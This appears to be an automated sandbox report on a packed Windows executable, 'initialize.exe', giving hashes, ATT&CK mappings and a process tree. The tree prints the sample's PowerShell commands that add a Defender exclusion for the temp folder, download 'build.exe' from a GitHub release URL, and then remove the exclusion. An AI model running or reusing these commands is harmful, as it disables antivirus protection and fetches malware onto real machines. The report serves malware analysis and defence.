9e13904bbfb3b36110a58fc9f339fc82957e5c938c79bd87d9bcbbf04dcd65f7

General

Target

initialize.exe
Size

57KB
MD5

f40b4d5dc143233298f0a5e78dd68a0f
SHA1

87d23f60239c692e96ce5375ada123bbc3ebccc0
SHA256

9e13904bbfb3b36110a58fc9f339fc82957e5c938c79bd87d9bcbbf04dcd65f7
SHA512

0b8ab10ea18812a688b940946ddeeb9de83889a53a27efc6906c22735e72bcf98df6350e460f6090f043360b96b8349b9337ab3c9510a6f5b6fae2d0e1726f4b
SSDEEP

1536:6rPJVKjbcknWSOYvTfkWkFM79yQVuuSCRc:6LJMjbcHDdMwQ7

Score

6^/10

defense_evasion execution upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2876	powershell.exe
1248	powershell.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2384-0-0x0000000140000000-0x0000000140027000-memory.dmp	upx
behavioral1/memory/2384-29-0x0000000140000000-0x0000000140027000-memory.dmp	upx

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
2876	powershell.exe
2168	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2876	powershell.exe
1248	powershell.exe
2168	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 268	2384	initialize.exe	29
PID 2384 wrote to memory of 268	2384	initialize.exe	29
PID 2384 wrote to memory of 268	2384	initialize.exe	29
PID 268 wrote to memory of 1700	268	cmd.exe	30
PID 268 wrote to memory of 1700	268	cmd.exe	30
PID 268 wrote to memory of 1700	268	cmd.exe	30
PID 1700 wrote to memory of 1232	1700	net.exe	31
PID 1700 wrote to memory of 1232	1700	net.exe	31
PID 1700 wrote to memory of 1232	1700	net.exe	31
PID 268 wrote to memory of 2876	268	cmd.exe	32
PID 268 wrote to memory of 2876	268	cmd.exe	32
PID 268 wrote to memory of 2876	268	cmd.exe	32
PID 268 wrote to memory of 1248	268	cmd.exe	33
PID 268 wrote to memory of 1248	268	cmd.exe	33
PID 268 wrote to memory of 1248	268	cmd.exe	33
PID 268 wrote to memory of 2168	268	cmd.exe	34
PID 268 wrote to memory of 2168	268	cmd.exe	34
PID 268 wrote to memory of 2168	268	cmd.exe	34

C:\Users\Admin\AppData\Local\Temp\initialize.exe
"C:\Users\Admin\AppData\Local\Temp\initialize.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8871.tmp\8872.tmp\8873.bat C:\Users\Admin\AppData\Local\Temp\initialize.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1700
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -Uri \"https://github.com/nfdsafnsdl/login/releases/download/V1/build.exe\" -OutFile \"C:\Users\Admin\AppData\Local\Temp\build.exe\" -ErrorAction Stop"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Ignore Process Interrupts

1

T1564.011

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\8871.tmp\8872.tmp\8873.bat

Filesize
2KB

MD5
1c935ef28fdfd394b770d945d7f04d76

SHA1
29e251c3c40ce4ad1b2984bf26b444aa045d9b21

SHA256
aa58e1df5882878a44687853f47d10b655c3fe888ec20fb99446305f5d38c681

SHA512
a9e60f2ac4aec15a3ba0a95df224449f64777a027357792247dd597529542e79128aec996c89ff86a1654911b4b763c577d3c3d2f38c59b02b280b8ad824e7e1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2b08e75631ec1c3b96284a57d7614a57

SHA1
93299dc7bdf89af26a0b1002eedff5ac967453c7

SHA256
710f14f3bb8fdee4c18be6d4f1601ce7cae8456d8c8ce2cd13e67aa9a724fabc

SHA512
cdfada46b598fa6d8a5e58b41a32d83033f6716170ae5c4949dc1cd840a73df8cdf777ab5e920d7189dd93a9a649edeb72ed977bf6c6aab2b35a67aee79dca4a

Download Submit
memory/1248-22-0x0000000000300000-0x0000000000308000-memory.dmp

Filesize
32KB

Download
memory/1248-21-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2384-0-0x0000000140000000-0x0000000140027000-memory.dmp

Filesize
156KB

Download
memory/2384-29-0x0000000140000000-0x0000000140027000-memory.dmp

Filesize
156KB

Download
memory/2876-13-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-12-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-9-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2876-14-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-15-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-10-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-11-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-8-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2876-7-0x000007FEF5ACE000-0x000007FEF5ACF000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing